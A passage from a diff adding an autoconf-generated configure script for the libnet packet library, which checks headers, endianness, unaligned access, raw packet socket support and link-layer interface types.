+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ # Broken: success on invalid input.
+continue
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ # Passes both tests.
+ac_preproc_ok=:
+break
+fi
+rm -f conftest.err conftest.$ac_ext
+
+done
+# Because of `break', _AC_PREPROC_IFELSE's cleaning code was skipped.
+rm -f conftest.err conftest.$ac_ext
+if $ac_preproc_ok; then
+ :
+else
+ { { echo "$as_me:$LINENO: error: C preprocessor \"$CPP\" fails sanity check
+See \`config.log' for more details." >&5
+echo "$as_me: error: C preprocessor \"$CPP\" fails sanity check
+See \`config.log' for more details." >&2;}
+ { (exit 1); exit 1; }; }
+fi
+
+ac_ext=c
+ac_cpp='$CPP $CPPFLAGS'
+ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
+ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
+ac_compiler_gnu=$ac_cv_c_compiler_gnu
+
+
+echo "$as_me:$LINENO: checking for egrep" >&5
+echo $ECHO_N "checking for egrep... $ECHO_C" >&6
+if test "${ac_cv_prog_egrep+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if echo a | (grep -E '(a|b)') >/dev/null 2>&1
+ then ac_cv_prog_egrep='grep -E'
+ else ac_cv_prog_egrep='egrep'
+ fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_egrep" >&5
+echo "${ECHO_T}$ac_cv_prog_egrep" >&6
+ EGREP=$ac_cv_prog_egrep
+
+
+echo "$as_me:$LINENO: checking for ANSI C header files" >&5
+echo $ECHO_N "checking for ANSI C header files... $ECHO_C" >&6
+if test "${ac_cv_header_stdc+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdlib.h>
+#include <stdarg.h>
+#include <string.h>
+#include <float.h>
+
+int
+main ()
+{
+
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_cv_header_stdc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_cv_header_stdc=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+
+if test $ac_cv_header_stdc = yes; then
+ # SunOS 4.x string.h does not declare mem*, contrary to ANSI.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <string.h>
+
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "memchr" >/dev/null 2>&1; then
+ :
+else
+ ac_cv_header_stdc=no
+fi
+rm -f conftest*
+
+fi
+
+if test $ac_cv_header_stdc = yes; then
+ # ISC 2.0.2 stdlib.h does not declare free, contrary to ANSI.
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <stdlib.h>
+
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "free" >/dev/null 2>&1; then
+ :
+else
+ ac_cv_header_stdc=no
+fi
+rm -f conftest*
+
+fi
+
+if test $ac_cv_header_stdc = yes; then
+ # /bin/cc in Irix-4.0.5 gets non-ANSI ctype macros unless using -ansi.
+ if test "$cross_compiling" = yes; then
+ :
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <ctype.h>
+#if ((' ' & 0x0FF) == 0x020)
+# define ISLOWER(c) ('a' <= (c) && (c) <= 'z')
+# define TOUPPER(c) (ISLOWER(c) ? 'A' + ((c) - 'a') : (c))
+#else
+# define ISLOWER(c) \
+ (('a' <= (c) && (c) <= 'i') \
+ || ('j' <= (c) && (c) <= 'r') \
+ || ('s' <= (c) && (c) <= 'z'))
+# define TOUPPER(c) (ISLOWER(c) ? ((c) | 0x40) : (c))
+#endif
+
+#define XOR(e, f) (((e) && !(f)) || (!(e) && (f)))
+int
+main ()
+{
+ int i;
+ for (i = 0; i < 256; i++)
+ if (XOR (islower (i), ISLOWER (i))
+ || toupper (i) != TOUPPER (i))
+ exit(2);
+ exit (0);
+}
+_ACEOF
+rm -f conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } && { ac_try='./conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ :
+else
+ echo "$as_me: program exited with status $ac_status" >&5
+echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+( exit $ac_status )
+ac_cv_header_stdc=no
+fi
+rm -f core core.* *.core gmon.out bb.out conftest$ac_exeext conftest.$ac_objext conftest.$ac_ext
+fi
+fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_header_stdc" >&5
+echo "${ECHO_T}$ac_cv_header_stdc" >&6
+if test $ac_cv_header_stdc = yes; then
+
+cat >>confdefs.h <<\_ACEOF
+#define STDC_HEADERS 1
+_ACEOF
+
+fi
+
+# On IRIX 5.3, sys/types and inttypes.h are conflicting.
+
+
+
+
+
+
+
+
+
+for ac_header in sys/types.h sys/stat.h stdlib.h string.h memory.h strings.h \
+ inttypes.h stdint.h unistd.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ eval "$as_ac_Header=yes"
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_Header=no"
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+
+for ac_header in sys/sockio.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
+echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+$ac_includes_default
+#include <$ac_header>
+_ACEOF
+rm -f conftest.$ac_objext
+if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5
+ (eval $ac_compile) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest.$ac_objext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ ac_header_compiler=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ac_header_compiler=no
+fi
+rm -f conftest.$ac_objext conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_compiler" >&5
+echo "${ECHO_T}$ac_header_compiler" >&6
+
+# Is the header present?
+echo "$as_me:$LINENO: checking $ac_header presence" >&5
+echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6
+cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <$ac_header>
+_ACEOF
+if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5
+ (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1
+ ac_status=$?
+ grep -v '^ *+' conftest.er1 >conftest.err
+ rm -f conftest.er1
+ cat conftest.err >&5
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } >/dev/null; then
+ if test -s conftest.err; then
+ ac_cpp_err=$ac_c_preproc_warn_flag
+ else
+ ac_cpp_err=
+ fi
+else
+ ac_cpp_err=yes
+fi
+if test -z "$ac_cpp_err"; then
+ ac_header_preproc=yes
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+ ac_header_preproc=no
+fi
+rm -f conftest.err conftest.$ac_ext
+echo "$as_me:$LINENO: result: $ac_header_preproc" >&5
+echo "${ECHO_T}$ac_header_preproc" >&6
+
+# So? What about this header?
+case $ac_header_compiler:$ac_header_preproc in
+ yes:no )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5
+echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+ no:yes )
+ { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5
+echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5
+echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;}
+ { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5
+echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;}
+ (
+ cat <<\_ASBOX
+## ------------------------------------ ##
+## Report this to bug-autoconf@gnu.org. ##
+## ------------------------------------ ##
+_ASBOX
+ ) |
+ sed "s/^/$as_me: WARNING: /" >&2
+ ;;
+esac
+echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ eval "$as_ac_Header=$ac_header_preproc"
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+
+fi
+if test `eval echo '${'$as_ac_Header'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+
+done
+
+
+
+echo "$as_me:$LINENO: checking machine endianess" >&5
+echo $ECHO_N "checking machine endianess... $ECHO_C" >&6
+
+ cat > conftest.c << EOF
+# include <stdio.h>
+# include <stdlib.h>
+
+ int main()
+ {
+ union
+ {
+ short s;
+ char c[sizeof(short)];
+ } un;
+
+ un.s = 0x0102;
+ if (sizeof (short) == 2)
+ {
+ if (un.c [0] == 1 && un.c [1] == 2)
+ {
+ printf("B\n");
+ }
+ else
+ {
+ if (un.c [0] == 2 && un.c [1] == 1)
+ {
+ printf("L\n");
+ }
+ }
+ }
+ else
+ {
+ printf("?\n");
+ }
+ return (EXIT_SUCCESS);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+ ac_cv_libnet_endianess=unknown
+ else
+ ./conftest > conftest.out
+ result=`cat conftest.out`
+ if test $result = "B"; then
+ ac_cv_libnet_endianess=big
+ elif test $result = "L"; then
+ ac_cv_libnet_endianess=lil
+ else
+ ac_cv_libnet_endianess=unknown
+ fi
+ fi
+ rm -f conftest* core core.conftest
+
+ echo "$as_me:$LINENO: result: $ac_cv_libnet_endianess" >&5
+echo "${ECHO_T}$ac_cv_libnet_endianess" >&6
+
+ if test $ac_cv_libnet_endianess = big ; then
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_BIG_ENDIAN 1
+_ACEOF
+
+ ENDIANESS="LIBNET_BIG_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_BIG_ENDIAN"
+ elif test $ac_cv_libnet_endianess = lil ; then
+ cat >>confdefs.h <<\_ACEOF
+#define LIBNET_LIL_ENDIAN 1
+_ACEOF
+
+ ENDIANESS="LIBNET_LIL_ENDIAN"
+ LIBNET_CONFIG_DEFINES="$LIBNET_CONFIG_DEFINES -DLIBNET_LIL_ENDIAN"
+ fi
+
+echo "$as_me:$LINENO: checking if unaligned accesses fail" >&5
+echo $ECHO_N "checking if unaligned accesses fail... $ECHO_C" >&6
+ if test "${ac_cv_lbl_unaligned_fail+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ case "$target_cpu" in
+
+ alpha|hp*|mips|sparc)
+ ac_cv_lbl_unaligned_fail=yes
+ ;;
+
+ *)
+ cat >conftest.c <<EOF
+# include <sys/types.h>
+# include <sys/wait.h>
+# include <stdio.h>
+ unsigned char a[5] = { 1, 2, 3, 4, 5 };
+ main()
+ {
+ unsigned int i;
+ pid_t pid;
+ int status;
+ /* avoid "core dumped" message */
+ pid = fork();
+ if (pid < 0)
+ {
+ exit(2);
+ }
+ if (pid > 0)
+ {
+ /* parent */
+ pid = waitpid(pid, &status, 0);
+ if (pid < 0)
+ {
+ exit(3);
+ }
+ exit(!WIFEXITED(status));
+ }
+ /* child */
+ i = *(unsigned int *)&a[1];
+ printf("%d\n", i);
+ exit(0);
+ }
+EOF
+ ${CC-cc} -o conftest $CFLAGS $CPPFLAGS $LDFLAGS \
+ conftest.c $LIBS > /dev/null 2>&1
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x conftest ; then
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ./conftest > conftest.out
+ if test ! -s conftest.out ; then
+ ac_cv_lbl_unaligned_fail=yes
+ else
+ ac_cv_lbl_unaligned_fail=no
+ fi
+ fi
+ rm -f conftest* core core.conftest
+ ;;
+ esac
+fi
+
+ echo "$as_me:$LINENO: result: $ac_cv_lbl_unaligned_fail" >&5
+echo "${ECHO_T}$ac_cv_lbl_unaligned_fail" >&6
+ if test $ac_cv_lbl_unaligned_fail = yes ; then
+ cat >>confdefs.h <<\_ACEOF
+#define LBL_ALIGN 1
+_ACEOF
+
+ fi
+
+
+
+
+
+
+
+
+
+
+if test $ac_cv_c_compiler_gnu = yes; then
+ echo "$as_me:$LINENO: checking whether $CC needs -traditional" >&5
+echo $ECHO_N "checking whether $CC needs -traditional... $ECHO_C" >&6
+if test "${ac_cv_prog_gcc_traditional+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ ac_pattern="Autoconf.*'x'"
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <sgtty.h>
+Autoconf TIOCGETP
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "$ac_pattern" >/dev/null 2>&1; then
+ ac_cv_prog_gcc_traditional=yes
+else
+ ac_cv_prog_gcc_traditional=no
+fi
+rm -f conftest*
+
+
+ if test $ac_cv_prog_gcc_traditional = no; then
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+#include <termio.h>
+Autoconf TCGETA
+_ACEOF
+if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
+ $EGREP "$ac_pattern" >/dev/null 2>&1; then
+ ac_cv_prog_gcc_traditional=yes
+fi
+rm -f conftest*
+
+ fi
+fi
+echo "$as_me:$LINENO: result: $ac_cv_prog_gcc_traditional" >&5
+echo "${ECHO_T}$ac_cv_prog_gcc_traditional" >&6
+ if test $ac_cv_prog_gcc_traditional = yes; then
+ CC="$CC -traditional"
+ fi
+fi
+
+if test "$GCC" = yes ; then
+ CFLAGS="$CFLAGS -Wall"
+fi
+
+
+
+
+for ac_func in strerror
+do
+as_ac_var=`echo "ac_cv_func_$ac_func" | $as_tr_sh`
+echo "$as_me:$LINENO: checking for $ac_func" >&5
+echo $ECHO_N "checking for $ac_func... $ECHO_C" >&6
+if eval "test \"\${$as_ac_var+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ cat >conftest.$ac_ext <<_ACEOF
+#line $LINENO "configure"
+/* confdefs.h. */
+_ACEOF
+cat confdefs.h >>conftest.$ac_ext
+cat >>conftest.$ac_ext <<_ACEOF
+/* end confdefs.h. */
+/* System header to define __stub macros and hopefully few prototypes,
+ which can conflict with char $ac_func (); below.
+ Prefer <limits.h> to <assert.h> if __STDC__ is defined, since
+ <limits.h> exists even on freestanding compilers. */
+#ifdef __STDC__
+# include <limits.h>
+#else
+# include <assert.h>
+#endif
+/* Override any gcc2 internal prototype to avoid an error. */
+#ifdef __cplusplus
+extern "C"
+{
+#endif
+/* We use char because int might match the return type of a gcc2
+ builtin and then its argument prototype would still apply. */
+char $ac_func ();
+/* The GNU C library defines this for functions which it implements
+ to always fail with ENOSYS. Some functions are actually named
+ something starting with __ and the normal name is an alias. */
+#if defined (__stub_$ac_func) || defined (__stub___$ac_func)
+choke me
+#else
+char (*f) () = $ac_func;
+#endif
+#ifdef __cplusplus
+}
+#endif
+
+int
+main ()
+{
+return f != $ac_func;
+ ;
+ return 0;
+}
+_ACEOF
+rm -f conftest.$ac_objext conftest$ac_exeext
+if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5
+ (eval $ac_link) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); } &&
+ { ac_try='test -s conftest$ac_exeext'
+ { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5
+ (eval $ac_try) 2>&5
+ ac_status=$?
+ echo "$as_me:$LINENO: \$? = $ac_status" >&5
+ (exit $ac_status); }; }; then
+ eval "$as_ac_var=yes"
+else
+ echo "$as_me: failed program was:" >&5
+sed 's/^/| /' conftest.$ac_ext >&5
+
+eval "$as_ac_var=no"
+fi
+rm -f conftest.$ac_objext conftest$ac_exeext conftest.$ac_ext
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_var'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_var'}'`" >&6
+if test `eval echo '${'$as_ac_var'}'` = yes; then
+ cat >>confdefs.h <<_ACEOF
+#define `echo "HAVE_$ac_func" | $as_tr_cpp` 1
+_ACEOF
+
+fi
+done
+
+
+echo "$as_me:$LINENO: checking link-layer packet interface type" >&5
+echo $ECHO_N "checking link-layer packet interface type... $ECHO_C" >&6
+
+if test -r /dev/bpf0 ; then
+ LIBOBJS="$LIBOBJS libnet_link_bpf.$ac_objext"
+ echo "$as_me:$LINENO: result: found bpf" >&5
+echo "${ECHO_T}found bpf" >&6
+elif test -r /usr/include/net/pfilt.h ; then
+ LIBOBJS="$LIBOBJS libnet_link_pf.$ac_objext"
+ echo "$as_me:$LINENO: result: found pf" >&5
+echo "${ECHO_T}found pf" >&6
+elif test -r /dev/nit ; then
+ LIBOBJS="$LIBOBJS libnet_link_snit.$ac_objext"
+ echo "$as_me:$LINENO: result: found snit" >&5
+echo "${ECHO_T}found snit" >&6
+elif test -r /usr/include/sys/net/nit.h ; then
+ LIBOBJS="$LIBOBJS libnet_link_nit.$ac_objext"
+ echo "$as_me:$LINENO: result: found nit" >&5
+echo "${ECHO_T}found nit" >&6
+elif test -r /usr/include/net/raw.h ; then
+ LIBOBJS="$LIBOBJS libnet_link_snoop.$ac_objext"
+ echo "$as_me:$LINENO: result: found snoop" >&5
+echo "${ECHO_T}found snoop" >&6
+elif test -r /usr/include/sys/dlpi.h ; then
+ LIBOBJS="$LIBOBJS libnet_link_dlpi.$ac_objext"
+ echo "$as_me:$LINENO: result: found dlpi" >&5
+echo "${ECHO_T}found dlpi" >&6
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_DLPI 1
+_ACEOF
+
+elif test -r /usr/include/linux/socket.h ; then
+ LIBOBJS="$LIBOBJS libnet_link_linux.$ac_objext"
+ echo "$as_me:$LINENO: result: found linux primitives" >&5
+echo "${ECHO_T}found linux primitives" >&6
+
+ echo "$as_me:$LINENO: checking for packet socket (PF_SOCKET)" >&5
+echo $ECHO_N "checking for packet socket (PF_SOCKET)... $ECHO_C" >&6
+ if test "${ac_libnet_have_packet_socket+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ case "$target_os" in
+
+ linux)
+ ac_libnet_have_packet_socket = no
+ ;;
+ *)
+
+ cat > pf_packet-test.c << EOF
+#include <stdio.h>
+#include <errno.h>
+#include <stdlib.h>
+#include <netinet/in.h>
+#include <sys/socket.h>
+#include <features.h> /* for the glibc version number */
+#if __GLIBC__ >= 2 && __GLIBC_MINOR >= 1
+#include <netpacket/packet.h>
+#include <net/ethernet.h> /* the L2 protocols */
+#else
+#include <asm/types.h>
+#include <linux/if_packet.h>
+#include <linux/if_ether.h> /* The L2 protocols */
+#endif
+
+#ifndef SOL_PACKET
+#define SOL_PACKET 263
+#endif /* SOL_PACKET */
+
+int
+main(int argc, char **argv)
+{
+ int fd;
+
+ fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
+ if (fd == -1)
+ {
+ if (errno == EPERM)
+ {
+ /* user's UID != 0 */
+ printf("probably");
+ exit (EXIT_FAILURE);
+ }
+ printf("no");
+ exit (EXIT_FAILURE);
+ }
+ printf("yes");
+ exit (EXIT_SUCCESS);
+}
+EOF
+ ${CC-cc} -o pf_packet-test $CFLAGS pf_packet-test.c >/dev/null 2>&1
+
+ # Oopz 4.3 BSD doesn't have this. Sorry.
+ if test ! -x ./pf_packet-test ; then
+ ac_libnet_have_packet_socket=choked
+ else
+ ac_libnet_have_packet_socket=`./pf_packet-test`;
+ fi
+ if test $ac_libnet_have_packet_socket = choked; then
+ echo "$as_me:$LINENO: result: test program compile choked... assuming no" >&5
+echo "${ECHO_T}test program compile choked... assuming no" >&6
+ elif test $ac_libnet_have_packet_socket = yes; then
+ echo "$as_me:$LINENO: result: yes" >&5
+echo "${ECHO_T}yes" >&6
+ elif test $ac_libnet_have_packet_socket = probably; then
+ echo "$as_me:$LINENO: result: test program got EPERM... assuming yes" >&5
+echo "${ECHO_T}test program got EPERM... assuming yes" >&6
+ elif test $ac_libnet_have_packet_socket = no; then
+ echo "$as_me:$LINENO: result: no" >&5
+echo "${ECHO_T}no" >&6
+ fi
+
+ rm -f pf_packet-test* core core.pf_packet-test
+ ;;
+ esac
+fi
+
+
+ if test $ac_libnet_have_packet_socket = yes -o $ac_libnet_have_packet_socket = probably; then
+ cat >>confdefs.h <<\_ACEOF
+#define HAVE_PACKET_SOCKET 1
+_ACEOF
+
+ fi
+
+ echo "$as_me:$LINENO: checking for Linux proc filesystem" >&5
+echo $ECHO_N "checking for Linux proc filesystem... $ECHO_C" >&6
+ if test "${ac_cv_libnet_linux_procfs+set}" = set; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+else
+ if test "x`cat /proc/sys/kernel/ostype 2>&-`" = "xLinux" ; then
+ ac_cv_libnet_linux_procfs=yes
+ else
+ ac_cv_libnet_linux_procfs=no
+ fi
+fi
+
+ echo "$as_me:$LINENO: result: $ac_cv_libnet_linux_procfs" >&5
+echo "${ECHO_T}$ac_cv_libnet_linux_procfs" >&6
+ if test $ac_cv_libnet_linux_procfs = yes ; then
+
+cat >>confdefs.h <<\_ACEOF
+#define HAVE_LINUX_PROCFS 1
+_ACEOF
+
+ fi
+elif test -c /dev/bpf0 ; then # check again in case not readable
+ LIBOBJS="$LIBOBJS libnet_link_bpf.$ac_objext"
+ echo "$as_me:$LINENO: result: found bpf" >&5
+echo "${ECHO_T}found bpf" >&6
+elif test -c /dev/nit ; then # check again in case not readable
+ LIBOBJS="$LIBOBJS libnet_link_snit.$ac_objext"
+ echo "$as_me:$LINENO: result: found snit" >&5
+echo "${ECHO_T}found snit" >&6
+elif test "$target_os" = "cygwin" ; then
+ LIBOBJS="$LIBOBJS libnet_link_win32.$ac_objext"
+ echo "$as_me:$LINENO: result: found win32 wpcap" >&5
+echo "${ECHO_T}found win32 wpcap" >&6
+else
+ LIBOBJS="$LIBOBJS libnet_link_none.$ac_objext"
+ { echo "$as_me:$LINENO: WARNING: could not find a link-layer packet interface" >&5
+echo "$as_me: WARNING: could not find a link-layer packet interface" >&2;}
+ { echo "$as_me:$LINENO: WARNING: link-layer packet injection will not be available" >&5
+echo "$as_me: WARNING: link-layer packet injection will not be available" >&2;}
+fi
+
+echo -n "scanning available packet construction modules: "
+for dir in src/*build*c ; do
+ echo $dir | sed -e /src\\/libnet_build_/s/// | sed -e /\\.c/s/// | tr \\n \\040
+done
+echo ""
+
+
+case "$target_os" in
+
+*linux*)
+ cat >>confdefs.h <<\_ACEOF
+#define _BSD_SOURCE 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define __BSD_SOURCE 1
+_ACEOF
+
+ cat >>confdefs.h <<\_ACEOF
+#define __FAVOR_BSD 1
+_ACEOF
+
+ LIBNET_CONFIG_DEFINES="-D_BSD_SOURCE -D__BSD_SOURCE -D__FAVOR_BSD"
+
+for ac_header in net/ethernet.h
+do
+as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh`
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo "$as_me:$LINENO: checking for $ac_header" >&5
+echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6
+if eval "test \"\${$as_ac_Header+set}\" = set"; then
+ echo $ECHO_N "(cached) $ECHO_C" >&6
+fi
+echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5
+echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6
+else
+ # Is the header compilable?
+echo "$as_me:$LINENO: checking $ac_header usability" >&5
